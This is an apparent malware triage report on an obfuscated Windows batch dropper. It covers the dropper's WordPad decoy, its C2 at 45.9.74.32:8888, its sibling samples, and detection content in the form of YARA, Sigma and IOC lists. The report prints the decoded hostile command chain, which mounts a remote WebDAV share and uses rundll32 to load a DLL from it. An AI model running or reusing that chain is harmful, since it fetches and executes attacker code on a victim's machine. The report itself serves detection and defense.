ceacabb454c24502a8a479f714cea6fe0be302f7f29313bebd6c7accc4117af1unclassified-js-webdav-dropper: ceacabb4 — mnihx-prefix SET batch, 45.9.74.32:8888, rundll32 entry
A 2.15 KB Windows batch script (712921366744125435.bat) using 36 shared-prefix SET variables (mnihx + 5-char suffix) to obfuscate a WebDAV mount + rundll32 execution chain. Fourteenth confirmed sibling of the unclassified-js-webdav-dropper family. C2 IP 45.9.74.32:8888 and rundll32 execution pattern match siblings e777fd64, ed6b2cd3, and c6e24c16 exactly; only the variable prefix (mnihx), payload filename (1150.dll), and variable count (36 vs. 30 in prior siblings) differ. ^[file.txt] ^[strings.txt]
What It Is
| Field | Value | Source |
|---|---|---|
| SHA-256 | ceacabb454c24502a8a479f714cea6fe0be302f7f29313bebd6c7accc4117af1 |
metadata.json |
| Filename | 712921366744125435.bat |
metadata.json |
| Size | 2,150 bytes | metadata.json |
| Type | ASCII text, very long lines (1266), CRLF | file.txt |
| Family | unclassified-js-webdav-dropper |
Cluster match — shared-prefix SET obfuscation, WebDAV C2, rundll32 execution |
| C2 | 45.9.74.32:8888 |
strings.txt |
| Payload | 1150.dll |
strings.txt |
How It Works
Three lines, no persistence, no sandbox gate:
-
Variable assignment — 36
SETstatements with shared prefixmnihx+ random 5-character suffix, each mapped to a single alphanumeric character. All chained on one line with&&separators. ^[strings.txt:1] -
Decoy —
color f0(black-on-white console) andstart wordpad(launches WordPad to distract the user). Same decoy pattern used in siblingse777fd64,ed6b2cd3,c6e24c16,ffd5d894,e9e82d14, andf170f5a9. ^[strings.txt:2] -
Payload execution —
start powershell.exe -windowstyle hiddenwrapping:net use \\45.9.74.32@8888\davwwwroot\— mounts the attacker WebDAV sharerundll32 \\45.9.74.32@8888\davwwwroot\1150.dll,entry— loads the remote DLL viarundll32.exe, calling theentryexport ^[strings.txt:3]
This is the same execution chain as sibling e777fd64 (3682.dll, hbutc prefix), ed6b2cd3 (1995.dll, labzf prefix), and c6e24c16 (3500.dll, nmnmd prefix). The only deltas are the SET prefix and payload filename.
Notable: This sibling uses 36 variables rather than the 30 observed in the three prior 45.9.74.32:8888 siblings. The additional 6 characters encode the same command set (the extra variables appear to be unused in the decoded payload). This suggests either automated generation with variable count jitter or copy-paste mutation from a larger template. ^[strings.txt:1]
C2 Infrastructure
| Indicator | Value | Notes |
|---|---|---|
| IP | 45.9.74.32 |
45.9.74.0/24 subnet shared with siblings da58243c (45.9.74.13), ffd5d894 (45.9.74.36), e777fd64 (45.9.74.32), e9e82d14 (45.9.74.36), ed6b2cd3 (45.9.74.32), f170f5a9 (45.9.74.36), c6e24c16 (45.9.74.32) ^[strings.txt:3] |
| Port | 8888 |
Non-standard HTTP/WebDAV port, consistent across all family siblings |
| Path | \davwwwroot\ |
IIS WebDAV default virtual directory |
| Payload | 1150.dll |
Short numeric throwaway name, consistent with family staging pattern (67.dll, 24013635923706.dll, 30122106810637.dll, 3682.dll, 1995.dll, 3500.dll, etc.) |
| Execution | rundll32 ... ,entry |
Calls entry export; no regsvr32 used in this sibling |
Deploy / ATT&CK
| Tactic | Technique | Evidence |
|---|---|---|
| Execution | T1059.003 (Windows Command Shell) | cmd.exe executes batch layer ^[strings.txt:1] |
| Execution | T1059.001 (PowerShell) | powershell.exe -windowstyle hidden wrapper ^[strings.txt:3] |
| Execution | T1218.011 (Rundll32) | rundll32 \\45.9.74.32@8888\davwwwroot\1150.dll,entry ^[strings.txt:3] |
| Defense Evasion | T1218 (System Binary Proxy Execution) | rundll32.exe is a signed system binary; wordpad decoy reinforces legitimacy ^[strings.txt:3] |
| Defense Evasion | T1027 (Obfuscated Files or Information) | Shared-prefix SET variable expansion obfuscation ^[strings.txt:1] |
| Command & Control | T1071.001 (Web Protocols) | WebDAV over HTTP (\\45.9.74.32@8888\DavWWWRoot\) ^[strings.txt:3] |
| Command & Control | T1105 (Ingress Tool Transfer) | net use mounts WebDAV share; rundll32 fetches and loads remote DLL ^[strings.txt:3] |
Sibling Delta
| Sibling | Size | Type | Obfuscation | C2 | Payload | Execution | Decoy |
|---|---|---|---|---|---|---|---|
e777fd64 |
~2 KB | Pure batch | Shared-prefix SET (hbutc, 30 vars) |
45.9.74.32 |
3682.dll |
rundll32 ... ,entry |
wordpad |
ed6b2cd3 |
~2.1 KB | Pure batch | Shared-prefix SET (labzf, 30 vars) |
45.9.74.32 |
1995.dll |
rundll32 ... ,entry |
wordpad |
c6e24c16 |
~2 KB | Pure batch | Shared-prefix SET (nmnmd, 30 vars) |
45.9.74.32 |
3500.dll |
rundll32 ... ,entry |
wordpad |
ceacabb4 |
~2.1 KB | Pure batch | Shared-prefix SET (mnihx, 36 vars) |
45.9.74.32 |
1150.dll |
rundll32 ... ,entry |
wordpad |
Deployable Signatures
YARA
rule WebDAV_Rundll32_Batch_Dropper_mnihx {
meta:
description = "WebDAV batch dropper with shared-prefix SET obfuscation and rundll32 execution"
author = "triage"
family = "unclassified-js-webdav-dropper"
sha256 = "ceacabb454c24502a8a479f714cea6fe0be302f7f29313bebd6c7accc4117af1"
strings:
$set_mnihx = "set mnihx" nocase
$c2_ip = "45.9.74.32" nocase
$webdav = "davwwwroot" nocase
$rundll32 = "rundll32" nocase
$dll_entry = ".dll,entry" nocase
condition:
all of them
}
Hunt Query (Sigma — Windows Command Line)
title: WebDAV Batch Dropper - rundll32 Remote DLL Load
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains:
- 'rundll32 \\45.9.74.32@8888\davwwwroot\'
- 'rundll32 \\45.9.74.32@8888\DavWWWRoot\'
condition: selection
falsepositives:
- Unknown
level: critical
IOC List
| Type | Value | Context |
|---|---|---|
| SHA-256 | ceacabb454c24502a8a479f714cea6fe0be302f7f29313bebd6c7accc4117af1 |
Batch dropper |
| Filename | 712921366744125435.bat |
Distribution name |
| IP | 45.9.74.32 |
WebDAV C2 host |
| Port | 8888 |
WebDAV port |
| Payload | 1150.dll |
Remote DLL fetched via rundll32 |
| Execution | rundll32 \\45.9.74.32@8888\davwwwroot\1150.dll,entry |
Complete command line |
References
- unclassified-js-webdav-dropper — Family entity page with full capability list and TTP mapping
- webdav-regsvr32-dll-sideloading — Technique page for the WebDAV + system binary proxy execution chain
- batch-powershell-variable-expansion-obfuscation — Related technique for SET-based obfuscation patterns
- Sibling reports:
e777fd64,ed6b2cd3,c6e24c16,ffd5d894,e9e82d14,f170f5a9,da58243c,e6ebae6a,fa7e181d,fb353965,cb5d302f,cc90d6c,ccb2d007
Provenance
file.txt—file(1)output, ASCII text with CRLFmetadata.json— OpenCTI artifact metadata, size 2150 bytesstrings.txt— Full batch script content, lines 1–3triage.json— Triage pipeline classification, tierdeep, no family attribution- Capa / floss / binwalk — skipped (not a binary target)
- CAPE — skipped (ASCII text, not a supported binary class)
- No dynamic analysis available; all behavior inferred from static script deobfuscation